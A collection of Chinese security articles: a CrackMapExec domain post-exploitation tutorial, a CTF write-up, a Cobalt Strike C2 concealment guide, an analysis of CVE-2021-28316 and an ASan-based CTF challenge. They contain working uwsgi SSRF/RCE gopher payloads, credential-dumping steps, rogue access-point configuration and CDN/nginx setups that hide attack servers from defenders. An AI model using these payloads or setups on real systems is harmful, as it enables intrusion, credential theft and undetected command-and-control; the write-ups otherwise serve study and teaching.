text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【技术分享】域渗透之使用CrackMapExec拿到我们想要的东西（一）
|
##### 译文声明
本文是翻译文章，文章来源：byt3bl33d3r
原文地址：<https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **hac425**](http://bobao.360.cn/member/contribute?uid=2553709124)
**稿费：120RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**传送门**
[**【技术分享】域渗透之使用CrackMapExec拿到我们想要的东西（二）**
****](http://bobao.360.cn/learning/detail/3228.html)
**前言**
这是一系列的介绍CrackMapExec的很多功能的文章。下面是对CrackMapExec这个工具的一个概况性的介绍。
它是一个后渗透工具,像Veil-Pillage, smbexec一样
它是一种在域渗透过程中使各种渗透测试框架联合起来的 "胶水 "
可以完全并行的在同一时间连接,攻击多台主机.
它有一个内部数据库可以用来存储获得的凭据,同时来追踪具有管理员权限的用户.
它的功能是基于多种现有的工具
它是"安全": 该工具做的所有事情不是通过在内存中运行,就是使用各种 WinApi或者是windows的一些内建工具.
第一部分会介绍一些基础知识包括:使用凭据, dump凭据,以及使用payload模块来执行命令.
**探索目标网络环境**
探索目标网络环境显然是非常重要的,进入内网,你想干的第一件是应该是搞清楚目标内网中到底有些什么.
在上面我们给CWE(CrackMapExec)提供了一个
192.168.0.0/24的参数,这样他就会去扫描整个C段的主机信息.可以看到最后他发现了5台位于LAB域中的主机.默认情况下他会使用100线程,我们可以使用
-t 参数来指定线程数.
到目前为止,我们已经知道了我们的目标网络中到底有些什么东西.一旦我们拿到了一些用户凭据(这里假定已经拿到了一个普通域用户的账号密码,在实际的域渗透过程中,这也是很简单的.),我们就会想知道我们能访问什么.首先我们来侦查下:
这里我们使用拿到的凭据,登录到目标机器并且使用了 –pass-pol
参数,这会把域密码策略给dump下来.从输出中我们可以看到没有账号锁定阈值或持续时间.所以我们不需要担心帐户锁定,下面我们来试试在所有c段使用这个凭据去认证下,看看能拿到什么样的成果.
接下来让我们来列出所有的共享.
程序的输出给出了所以共享的名称以及你使用的凭据对他们的权限.同时注意到192.168.0.12的右边显示了黄色的＂Pwn3d!＂这意味着我们在这台机器上拥有管理员权限．
**Dump SAM哈希并且执行命令**
目前为止我们已经有了192.168.0.12这台机器上的管理员权限，首先我们看看谁登录到了这台机器上：
看起来好像域管理员登录到了这台机器上．我们来检验下
如果使用 -x 来执行命令的话，程序会默认使用WMI来执行命令（这里我们使用了一个–exec-method参数来指定使用smbexec方式来执行命令，这将允许我们以系统权限来执行命令．），我使用了一个net user Administrator
/domain命令来验证该用户是否在 域管理员组中．在继续干其他事情之前我们先把本地机器的hash给dump下来．
现在我们已经拿到了很多hash，我们可以在之后使用 -H参数来进行
hash传递攻击（这些拿到的hash会被存储到CWE的数据库以及logs目录下),但是如果能拿到明文密码那就更好了．但是问题是现在这台机器是一台win10的机器，因而我们不能从内存中dump明文密码，但是真的不能吗？其实我们可以通过创建UseLogonCredential注册表键值来重新启用WDigest，接着我们就可以从
LSA内存中dump明文密码了．
现在我们只需要等着用户注销然后重新登录，就可以dump用户的明文密码了．当然我们可以强制让某个用户下线，比如下面让yomama用户下线了．
**Payload 模块**
用户可以自己来创建模块，程序自带的模块位于 modules目录下．因为此时我们需要明文密码所以我们使用mimikatz模块，使用 -m 参数指定模块路径.
好,现在我们已经拿到了域管理员的账号密码了.
其中有些模块需要一些参数,我们可以使用-o来指定
如果要查看模块的说明可以使用 –module-info
显然所有的这些功能都可以同时对多台主机使用.
**总结**
本文介绍了CME的基本用法,使用CME可以简化我们的工作,尽可能的少做些重复性的工作.
**
**
**传送门**
* * *
[**【技术分享】域渗透之使用CrackMapExec拿到我们想要的东西（二）**
****](http://bobao.360.cn/learning/detail/3228.html) | 社区文章 |
赛时的时候没看这个题目，最后时间队友发现了点，但是苦于本地搭建不好环境以及没有时间就放弃了。
## 言归正传。
打开题目我们发现提供了一个Download功能，随便测试下，例如：<http://www.venenof.com/1.gif>
同时这里没有限制任何后缀，那么这意味着我们可以远程下载任意文件。
通过file协议我们可以读取任意文件，利用`file:///proc/mounts`可以找到web目录:
进而我们可以读取web目录的相关文件：
其中`rwctf/settings.py`的内容如下:
"""
Django settings for rwctf project.
Generated by 'django-admin startproject' using Django 2.1.3.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.1/ref/settings/
"""
import os
import dj_database_url
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = os.environ.get('SECRET_KEY', 'y5fc9nypwm%x1w^plkld4y#jwgrd)$ys6&!cog^!3=xr5m4#&-')
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = os.environ.get('DEBUG', '0') in ('True', 'true', '1', 'TRUE')
ALLOWED_HOSTS = ['*']
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'xremote',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'rwctf.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.template.context_processors.media',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'rwctf.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.1/ref/settings/#databases
DATABASES = {
'default': dj_database_url.config(conn_max_age=600, default='sqlite:////tmp/db.sqlite3')
}
# Password validation
# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.1/howto/static-files/
STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
MEDIA_URL = '/media/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
LOG_PATH = os.environ.get('LOG_PATH', os.path.join(BASE_DIR, 'error.log'))
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'formatters': {
'standard': {
'format': '[%(asctime)s] - [%(levelname)s] - [%(pathname)s:%(lineno)d] - %(message)s',
'datefmt': '%Y-%m-%d %H:%M:%S'
},
},
'handlers': {
'console': {
'level': 'WARNING',
'class': 'logging.StreamHandler',
'formatter': 'standard',
'filters': ['discard_not_found_error'],
}
},
'loggers': {
'': {
'handlers': ['console'],
'level': 'WARNING'
},
'django': {
'handlers': ['console'],
'level': 'WARNING'
},
},
'filters': {
'discard_not_found_error': {
'()': 'django.utils.log.CallbackFilter',
'callback': lambda record: hasattr(record, 'status_code') and record.status_code != 404,
}
},
}
读取`urls.py`
from django.contrib import admin
from django.urls import path, include
urlpatterns = [
path('', include('xremote.urls', namespace='xremote')),
path('admin/', admin.site.urls),
]
最后读取`xremote.views.py`：
import os
import pycurl
import uuid
from django.utils import dateformat, timezone
from django.shortcuts import render
from django.views import generic
from django.db import transaction
from django.urls import reverse_lazy
from django.conf import settings
from django.http import HttpResponseRedirect
from . import forms
from . import models
class ImgsMixin(object):
def get_context_data(self, **kwargs):
kwargs['imgs'] = self.request.session.get('imgs', [])
return super().get_context_data(**kwargs)
class DownloadRemote(ImgsMixin, generic.FormView):
form_class = forms.ImageForm
template_name = 'index.html'
success_url = reverse_lazy('xremote:download')
def download(self, url):
try:
c = pycurl.Curl()
c.setopt(pycurl.URL, url)
c.setopt(pycurl.TIMEOUT, 10)
response = c.perform_rb()
c.close()
except pycurl.error:
response = b''
return response
def generate_path(self):
path = os.path.join(settings.MEDIA_ROOT, dateformat.format(timezone.now(), 'Y/m/d'))
if not os.path.exists(path):
os.makedirs(path, 0o755)
return os.path.join(path, str(uuid.uuid4()))
@transaction.atomic
def form_valid(self, form):
url = form.cleaned_data['url']
response = self.download(url)
path = self.generate_path()
if response:
with open(path, 'wb') as f:
f.write(response)
url = path[len(settings.MEDIA_ROOT)+1:]
models.Image.objects.create(path=url)
if 'imgs' not in self.request.session:
self.request.session['imgs'] = []
self.request.session['imgs'].append(url)
self.request.session.modified = True
return HttpResponseRedirect(self.get_success_url())
在这里，我们发现在`settings.py`中，引用了`uwsgi`，同时通过`server.sh`得到`uwsgi`的部署方式:
#!/bin/sh
BASE_DIR=$(pwd)
./manage.py collectstatic --no-input
./manage.py migrate --no-input
exec uwsgi --socket 0.0.0.0:8000 --module rwctf.wsgi --chdir ${BASE_DIR} --uid nobody --gid nogroup --cheaper-algo spare --cheaper 2 --cheaper-initial 4 --workers 10 --cheaper-step 1
在`uwsgi`中，存在`UWSGI_FILE`这种魔术变量会将指定的文件作为一个新的动态应用加载，那么如果这个文件使我们可以控制的，那么就会造成RCE漏洞。
回到开头，我们已经知道网站可以任意download文件，那么我们在本地测试下，搭建[参考文章](https://www.jianshu.com/p/8c2773916a2c)，而魔术方法可以自动加载执行文件，于是成功执行如下：
本地抓一下包:
tcpdump -i lo -port 8001 -w dump.pcap
或者直接nc也可以。
前面我们知道有一个download功能，实际上也是一个ssrf漏洞，于是我们可以利用gopher去内网请求`uwsgi`，进而动态执行我们自己的脚本，本地测试如下:
于是我们回到题目里，先远程下载一个反弹shell的pythonshell，然后得到文件名，例如`/usr/src/rwctf/media/2018/12/03/0c0eb4ee-115e-48b5-8fda-c18d81d1ceef`，然后将gopher的数据改为:
gopher://127.0.0.1:8000/_%00u%01%00%0C%00QUERY_STRING%00%00%0E%00REQUEST_METHOD%03%00GET%0C%00CONTENT_TYPE%00%00%0E%00CONTENT_LENGTH%00%00%0B%00REQUEST_URI%01%00%2F%09%00PATH_INFO%01%00%2F%0D%00DOCUMENT_ROOT%15%00%2Fusr%2Fshare%2Fnginx%2Fhtml%0F%00SERVER_PROTOCOL%08%00HTTP%2F1.1%0C%00UWSGI_SCHEME%04%00http%0B%00REMOTE_ADDR%09%00127.0.0.1%0B%00REMOTE_PORT%05%0035776%0B%00SERVER_PORT%04%008000%0B%00SERVER_NAME%0B%00example.com%0A%00UWSGI_FILE%09%00%2Fusr%2Fsrc%2Frwctf%2Fmedia%2F2018%2F12%2F03%2F0c0eb4ee-115e-48b5-8fda-c18d81d1ceef%09%00HTTP_HOST%0E%00localhost%3A8000%0F%00HTTP_USER_AGENT%0B%00curl%2F7.55.1%0B%00HTTP_ACCEPT%03%00%2A%2F%2A
但是我们要注意
from django import forms
from . import models
class ImageForm(forms.Form):
url = forms.CharField(max_length=512,widget=forms.URLInput())
长度只有512字节，上面的肯定超了，意味着我们要自己更改，在反复尝试后，我发现，其第二位字符的ASCII值实际上就是整个数据包的长度，于是本地修改payload如下:
<?php
echo urlencode(chr(strlen(urldecode('%0C%00QUERY_STRING%00%00%0E%00REQUEST_METHOD%03%00GET%0C%00CONTENT_TYPE%00%00%0E%00CONTENT_LENGTH%00%00%0B%00UWSGI_FILED%00/usr/src/rwctf/media/2018/12/03/0c0eb4ee-115e-48b5-8fda-c18d81d1ceef%09%00HTTP_HOST%0E%00localhost%3A8000%0F%00HTTP_USER_AGENT%0B%00curl/7.55.1%0B%00HTTP_ACCEPT%03%00%2A/%2A'))));
?>
gopher://127.0.0.1:8000/_%00%E4%00%00%0C%00QUERY_STRING%00%00%0E%00REQUEST_METHOD%03%00GET%0C%00CONTENT_TYPE%00%00%0E%00CONTENT_LENGTH%00%00%0A%00UWSGI_FILED%00/usr/src/rwctf/media/2018/12/03/0c0eb4ee-115e-48b5-8fda-c18d81d1ceef%09%00HTTP_HOST%0E%00localhost%3A8000%0F%00HTTP_USER_AGENT%0B%00curl/7.55.1%0B%00HTTP_ACCEPT%03%00%2A/%2A
但是在本地是可以得到执行的，反而题目却不可以，猜测可能是题目环境配置的问题，通过翻阅文档，我发现`UWSGI_APPID`这个魔术方法，其作用是绕过
`SCRIPT_NAME` 和 `VirtualHosting`
，从而让用户在没有限制的情况下选择挂载点。如果在应用的内部列表中找不到它，那么要加载它。于是可以像下面这样修改:
server {
server_name server001;
location / {
include uwsgi_params;
uwsgi_param UWSGI_APPID myfunnyapp;
uwsgi_param UWSGI_FILE /var/www/app1.py
}
}
本地抓包如下:
%00%C6%01%00%0C%00QUERY_STRING%00%00%0E%00REQUEST_METHOD%03%00GET%0C%00CONTENT_TYPE%00%00%0E%00CONTENT_LENGTH%00%00%0B%00REQUEST_URI%01%00%2F%09%00PATH_INFO%01%00%2F%0D%00DOCUMENT_ROOT%15%00%2Fusr%2Fshare%2Fnginx%2Fhtml%0F%00SERVER_PROTOCOL%08%00HTTP%2F1.1%0C%00UWSGI_SCHEME%04%00http%0B%00REMOTE_ADDR%09%00127.0.0.1%0B%00REMOTE_PORT%05%0036452%0B%00SERVER_PORT%04%008000%0B%00SERVER_NAME%0B%00example.com%0B%00UWSGI_APPID%07%00testxdd%0A%00UWSGI_FILED%00%2Fusr%2Fsrc%2Frwctf%2Fmedia%2F2018%2F12%2F03%2F0c0eb4ee-115e-48b5-8fda-c18d81d1ceef%09%00HTTP_HOST%0E%00localhost%3A8000%0F%00HTTP_USER_AGENT%0B%00curl%2F7.55.1%0B%00HTTP_ACCEPT%03%00%2A%2F%2A
修改payload如下:
gopher://127.0.0.1:8000/_%00%FA%00%00%0C%00QUERY_STRING%00%00%0E%00REQUEST_METHOD%03%00GET%0C%00CONTENT_TYPE%00%00%0E%00CONTENT_LENGTH%00%00%0B%00UWSGI_APPID%07%00testxdd%0A%00UWSGI_FILED%00/usr/src/rwctf/media/2018/12/04/7683a121-2d76-4a03-b35c-532bbe7f1483%09%00HTTP_HOST%0E%00localhost%3A8000%0F%00HTTP_USER_AGENT%0B%00curl/7.55.1%0B%00HTTP_ACCEPT%03%00%2A/%2A
然后反弹shell即可:-D
##
赛后发现其实早在一月份就有人有了[利用方式](https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md)，而因为uWSGI程序中默认的schemes有`exec`，所以其实可以直接RCE，而同时作者也给了脚本，甚至于不用本地搭建环境可以直接抓取原始数据包，例如：
%00%DF%00%00%0E%00REQUEST_METHOD%03%00GET%09%00HTTP_HOST%09%00127.0.0.1%09%00PATH_INFO%08%00%2Ftestapp%0B%00SERVER_NAME%09%00127.0.0.1%0F%00SERVER_PROTOCOL%08%00HTTP%2F1.1%0C%00QUERY_STRING%00%00%0B%00SCRIPT_NAME%08%00%2Ftestapp%0A%00UWSGI_FILE%20%00exec%3A%2F%2Ftouch%20%2Ftmp%2Fccc%3B%20echo%20test%0B%00REQUEST_URI%08%00%2Ftestapp
> 感谢ph师傅给的docker，复现过程遇到了好几个问题，确实很real world | 社区文章 |
cs的基础用法、修改端口、密码的教程网上很多，此处不再赘述。
## 但在搭建域名+CDN隐藏版c2时楼主遇到了不少的坑，在这里顺着搭建的思路慢慢把踩的坑填上。
* 1.CS证书特征配置
Cobalt Strike是一款美国Red Team开发的渗透测试神器，常被业界人称为CS。
1.1去除证书特征：基于keytool生成自签证书
用JDK自带的keytool证书工具即可生成新证书：
keytool命令:
-certreq 生成证书请求
-changealias 更改条目的别名
-delete 删除条目
-exportcert 导出证书
-genkeypair 生成密钥对
-genseckey 生成密钥
-gencert 根据证书请求生成证书
-importcert 导入证书或证书链
-importpass 导入口令
-importkeystore 从其他密钥库导入一个或所有条目
-keypasswd 更改条目的密钥口令
-list 列出密钥库中的条目
-printcert 打印证书内容
-printcertreq 打印证书请求的内容
-printcrl 打印 CRL 文件的内容
-storepasswd 更改密钥库的存储口令
例如：
国内baidu
keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
国外gmail：
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias gmail.com -dname "CN=gmail.com, OU=Google Mail, O=Google GMail, L=Mountain View, ST=CA, C=US"
（Windows版也可使用java安装目录下自带工具<java_home>\bin\keytool.exe）
然后使用keytool工具可查看生成的证书：</java_home>
keytool -list -v -keystore cobaltstrike.store
**其中的坑：**
要么生成cobaltstrike.store替换默认位置对应文件，要么在teamserver启动文件中指定，例如生成baidu.store，就要修改teamserver为：
* 1.2去除证书特征：基于openssl生成域名证书
这里有两个思路，一是申请域名后使用certbot生成对应证书；二是申请域名后修改ns记录，由托管服务商签发。
这里都需要申请域名，可百度freenom申请域名的教程（楼主申请失败了，无法接收邮件，使用插件也不行，所以算是一个坑）。
**填坑方式:** 推荐 <https://www.namesilo.com，申请个冷门的也并不贵，才几块钱就可以用一年，还可微信支付。>
* 证书签发思路一certbot：
假如你申请域名为：+++.tk，那么在 vps 上安装 certbot ，然后生成证书：
certbot certonly -d +++.tk -d *.+++.tk --manual --preferred-challenges dns --server https://acme-v02.api.letsencrypt.org/directory
需要你在ns服务商处添加两条txt记录。以namesilo为例
选择txt记录插入即可。
freenome一样道理，而后会让你插入第二条，确认后等待一会，生效后回车确认，即可在当前目录生成域名证书：
**这里的坑：** 两次添加txt记录后需要等待一点时间才能解析成功，可另外开启bash使用dig命令：
dig -t txt _acme-challenge.+++.tk @8.8.8.8
测试是否成功，成功获取txt内容再在certbot点击回车，没有dig可使用yum install bind-utils命令安装，否则生成失败还要重新认证，重新添加TXT记录。
然后基于openssl生成为p12文件
openssl pkcs12 -export -in ./fullchain.pem -inkey ./privkey.pem -out +++.tk.p12 -name +++.tk -passout pass:123456
最后使用keytool生成store：
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore +++.tk.store -srckeystore +++.tk.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias +++.tk
* 证书签发思路二cloudflare：
申请域名后可在cloudflare申请免费账户，更改NS服务器地址，托管域名。然后在cloudflare设置即可：
下一步就可以从cloudflare一键导出证书：
依然是使用openssl生成p12，然后store文件，具体操作参考上一个思路。
* * *
* 2.服务器特征配置
* 2.1隐藏服务器：CDN加速
在cloudflarr注册域名后，将NS记录指向alice.ns.cloudflare.com和chase.ns.cloudflare.com即可选择使用cdn加速即可开启。
本地使用ping测试，为cdn的ip，而非你在域名服务商登记的真实ip就达到目的了：
这里还需要注意一点，要想实时返回命令结果还需要关闭缓存
虽然cloudflare可以随时清除，但不能手动去做，可开启页面规则，绕过所有缓存。
编辑缓存级别为绕过即可。
**这里的坑：**
不是设置地址为www.+++.tk就完事了，楼主单纯写完域名后去解析，死活无法上线，直接报错520error，还520，我还521呢我。
**填坑方式：**
域名后的内容根据malleable.profile规则设定，例如jQuery-2.2.4的所有请求包均为
_.js，在页面规则中域名配置后跟_.js即可，如果为其他内容，例如amazon.profile，gmail.profile，都要跟*字符，意为域名后请求所有目录均绕过缓存。
* 2.2隐藏流量特征：profile
Malleable C2 profile作为CS的配置文件，可以配置通信流量的特征，用来隐藏自己的行踪，以Malleable-C2-Profiles为例：
<https://github.com/rsmudge/Malleable-C2-Profiles>
官方参考地址：<https://www.cobaltstrike.com/help-malleable-c2>
**填坑1：**
生成shellcode或可执行文件时渗透时，是在目标机放一个小的payload，然后由这个小的payload去下载大马，这个过程是个分段过程，不是一次下载回来的，其中下载请求相关的流量特征，可以通过http-stager来定义：
http-stager {
set uri_x86 "/get32.gif";
set uri_x64 "/get64.gif";
client {
parameter "id" "1234";
header "Cookie" "SomeValue";
}
server {
header "Content-Type" "image/gif";
output {
prepend "GIF89a";
print;
}
}
}
**填坑2：** 使用cloudflare隐藏c2还要设置profile中的head的mime-type，具体为：需要在http-config将头设置为header "Content-Type" "application/*;
charset=utf-8"，不然可能会出现能上线但是无法回显命令的情况：
**填坑3：** 在profile中设置user-agent可避免各种被检测，同时也是https反向代理的有力识别标志例如将ua设置为Mozilla/5.0
(Windows NT 6.1; Trident/8.0; rv:12.0)：
在使用nginx反向代理时即可过滤：
此时如果有多个工具生成shellcode上线ua不同，可设置多条件过滤，满足多人运动的需求：
最后在https-certificate配置中还要对https证书进行声明：
https-certificate {
set keystore “api.xxx.com.store”;
set password “123456”;
}
最后检查配置文件有效性：
./c2lint malleable.profile
即可在teamserver启动时加载profile：
./teamserver 1.1.1.1(你的ip) ******(密码) malleable.profile
* 2.3服务器反向代理限制访问
最重要的一个知识点就是使用反向代理限制你的c2被别人发现，例如配置：
location ~*/jquery {
if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {
return 302 $REDIRECT_DOMAIN$request_uri;
}
proxy_pass https://127.0.0.1:5553;
}
就可以很好地隐藏自己，但这里有一些坑点，楼主是踩了又跳出来;
**填坑1：** 在nginx配置信息中location ~*/ 位置，需配置x-forword信息，同时在profile设置，否则上线的外网ip为自己的vps，或cdn地址，无法获取外部信息：
nginx.conf文件：
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
profile文件：
http-config {
set trust_x_forwarded_for "true";
}
**填坑2：** 在nginx反向代理配置中，启动监听器时http host可为域名地址，bind port可另选一个，作为proxy_pass内容：
其中bind port可在本机使用防火墙屏蔽，只允许内部访问：
iptables -I INPUT -p tcp --dport 45559 -j DROP
iptables -I INPUT -s 127.0.0.1 -p tcp --dport 45559 -j ACCEPT
但proxy_pass <http://127.0.0.1:45559;的地址选择也有门道，reverse>
http类型可填写任意本机真实ip信息，如localhost，127.0.0.1，甚至有外网网卡的直接外网真实ip都可以正常上线。
但reverse https类型只能填写127.0.0.1，如使用真实ip，如99.199.99.199，proxy_pass
<https://99.199.99.199.:45559的请求cdn会一直超时，造成无法上线。> | 社区文章 |
# 深入分析CVE-2021-28316漏洞（上）
|
##### 译文声明
本文是翻译文章，文章原作者 Matthew Johnson，文章来源：shenaniganslabs.io
原文地址：<https://shenaniganslabs.io/2021/04/13/Airstrike.html>
译文仅供参考，具体内容表达以及含义原文为准。
在默认情况下，加入域的Windows工作站是可以通过锁屏页面来访问网络选择的用户界面。因此，可以物理访问具有WiFi功能的、处于锁屏状态的设备（例如，笔记本电脑或工作站）的攻击者可以滥用这个功能，强制笔记本电脑针对恶意访问点进行身份验证，并捕获域计算机帐户的MSCHAPv2质询响应的哈希值。
然后，攻击者只需将这个质询响应的哈希值提交到crack.sh站点，便可以在24小时内恢复计算机帐户的NTLM哈希值。
一旦恢复NTLM哈希值，再结合域SID就可以伪造Kerberos的白银票据，以模拟特权用户并控制主机。举例来说，攻击者可以为笔记本电脑的CIFS服务创建一张白银票据，以便通过SMB认证为SYSTEM用户，从而获得对硬盘的无限制访问权限。
由于可以从处于锁屏状态的设备执行攻击，因此，攻击者可以利用它来绕过BitLocker全磁盘加密并获得对设备文件系统的访问权限。
此外，由于可以为特权用户伪造白银票据，因此，攻击者也可以利用该攻击将自身的权限提升为设备上的本地管理员权限，具体可以参考下面的演示视频：
<https://shenaniganslabs.io/images/airstrike/video.mp4>
## 受影响的版本
目前我们已经确认该漏洞存在于加入域的Windows 10主机上。
此外，Windows的早期版本也可能会受到影响，但尚未经过测试。
## 背景知识
对于熟悉企业无线网络的读者来说，可能早就听说过受保护的可扩展身份验证协议协议（Protected Extensible Authentication
Protocol，PEAP）。实际上，这是一种隧道式身份验证协议，这意味着首先需要与RADIUS服务器建立SSL隧道（称为阶段1），以保护在身份验证（阶段2）期间发送的凭证数据。
Windows环境中使用的最常见的内部身份验证方法之一是MSCHAPv2。实际上，MSCHAPv2协议已经存在了很长时间了，并且存在一些严重的密码学方面的缺陷。
该研究的结果是提供了crack.sh服务，该服务能够将任何给定的MSCHAPv2质询响应的哈希值（无论密码的复杂度如何）都恢复为NTLM哈希值。
在Windows环境中，当域用户使用PEAP协议通过MSCHAPv2对无线接入点进行身份验证时，所产生的质询响应的哈希值实际上来自域用户密码的NTLM哈希值。
除了域用户身份验证之外，Windows还提供了使用机器/计算机身份验证（Machine/Computer
Authentication）的选项，以便让设备在域用户登录之前对无线网络进行认证。
计算机身份验证是为了解决设备能够访问活动目录并对域用户进行身份验证之前，首先需要对网络进行认证这一“先有鸡后有蛋”的问题的：为了给用户创造一个无缝的体验，在用户登录设备之前，从锁屏页面进行身份验证。
计算机身份验证可以使用客户端证书或MSCHAPv2作为它的内部认证机制。在使用客户端证书的情况下，可以使用为域计算机账户签发的证书进行身份验证。但如果计算机身份验证使用PEAP和MSCHAPv2时，该如何处理呢？在这种情况下，可以使用域计算机账户的NTLM哈希值进行身份验证。
计算机帐户密码通常很复杂，很长并且是随机生成的。我们通常无法恢复该帐户的纯文本密码，但是，这又有什么关系呢？虽然我们无法恢复纯文本密码，但是借助于crack.sh服务，我们仍然可以恢复NTLM的哈希值呀！
计算机帐户的NTL哈希值在Windows域环境中具有特殊意义，因为它们与Kerberos的白银票据有关——使用计算机帐户的NTLM哈希值可以对由计算机托管的服务（例如CIFS服务）的Kerberos服务票据进行签名和加密。
为了伪造服务票据，我们需要以下信息：
* 计算机帐户的NTLM哈希值
* 我们想获得的服务名称
* 域SID
一旦利用crack.sh服务恢复了计算机帐户的NTLM哈希值，如果再加上域SID，我们就可以伪造自己的票据了。好消息是，域SID并不是秘密信息，可以供任何常规域用户获取。
## 权限提升：从域用户到本地管理员
为了将上面的漏洞武器化，我们首先需要创建一个支持PEAP的恶意接入点，并将MSCHAPV2设置为内部认证方式。实际上，目前已经有很多工具可以实现这个功能，这里我们使用的是hostapd-mana。
需要注意的是，为了允许后续版本的Windows 10连接到接入点，需要使用可信的CA来签署RADIUS服务器证书。否则的话，将导致Windows
10请求方出现一个模糊的 “连接失败”错误提示。
在这里，我们将使用LetsEncrypt通过以下命令来实现这一点（注意：证书上的服务器名称是无关紧要的，只需由受信任的权威机构对其进行签名即可）。
# Generate LetsEncrypt certificates
sudo snap install --classic certbot
sudo certbot certonly --standalone -d radius.breakfix.co
生成证书后，我们重命名它们以使hostapd配置更好理解，并生成相应的DH参数。
# Rename certificates to work with hostapd
cp /etc/letsencrypt/live/radius.breakfix.co/fullchain.pem ca.pem
cp /etc/letsencrypt/live/radius.breakfix.co/privkey.pem server.key
cp /etc/letsencrypt/live/radius.breakfix.co/cert.pem server.pem
# Generate DH params
openssl dhparam 2048 > dhparam.pem
然后，我们创建一个”hostapd.conf”文件，其内容如下所示：
interface=$WIRELESS_INTERFACE_HERE
ssid=Airstrike
hw_mode=g
channel=6
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=ca.pem
server_cert=server.pem
private_key=server.key
private_key_passwd=
dh_file=dhparam.pem
mana_wpe=1
而“hostapd.eap_user”文件的内容如下所示：
* PEAP,TTLS,TLS,MD5,GTC
"t" GTC,TTLS-MSCHAPV2,MSCHAPV2,MD5,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP "1234test" [2]
完成上面的操作后，就可以通过命令./hostapd hostpad.conf来运行hostpad-mana了。此时，攻击者可以强制笔记本电脑通过锁屏页面连接到接入点（这时看不到证书的报错消息），从而捕获计算机帐户的MSCHAPV2质询响应的哈希值，具体如下所示：
由于MSCHAPv2要求接入点也知道相应的密码，所以在这个阶段无线认证将会失败，但质询响应的哈希值将被正确捕获。
## 小结
在本文中，我们为读者详细介绍了CVE-2021-28316漏洞的背景知识，并展示了实现本地提权的过程，在本文的下篇中，我们将为继续读者深入介绍如何恢复HTML哈希值等重要知识点。
（未完待续） | 社区文章 |
# 0CTF 2019 babyaegis writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在比赛勉强做出了这道题目，果然0ctf的题都不是简单的
## 分析题目
### Address-Sanitizier 简要分析
一打开文件，发现左边一堆以asan为前缀的的函数
asan(Address-Sanitizier) 早先是LLVM中的特性，后被加入GCC 4.8，在GCC 4.9后加入对ARM平台的支持。因此GCC
4.8以上版本使用ASAN时不需要安装第三方库，通过在编译时指定编译CFLAGS即可打开开关。
asan用于检测各种内存错误漏洞，如use after free，stack overflow, heap overflow等
具体的分析可以看下这篇文章
[AddressSanitizer算法及源码解析](https://blog.csdn.net/pang241/article/details/76137969)
这里总结一下文章的内容大概就是
* 利用Shadow Memory，将每8个字节映射到Shadow Memory对应的一个字节，对内存的读写操作都会对Shadow Memory对应的内存进行读取内容，判断这个内存读写操作是否非法，映射的规则是
Shadow = (Mem>>3) + 0x7fff8000;
* 对于栈上的变量，会在编译时插桩，在每个栈变量前后都加上Redzone，Redzone是不能读写的，同样还会进行Shadow Memory的映射
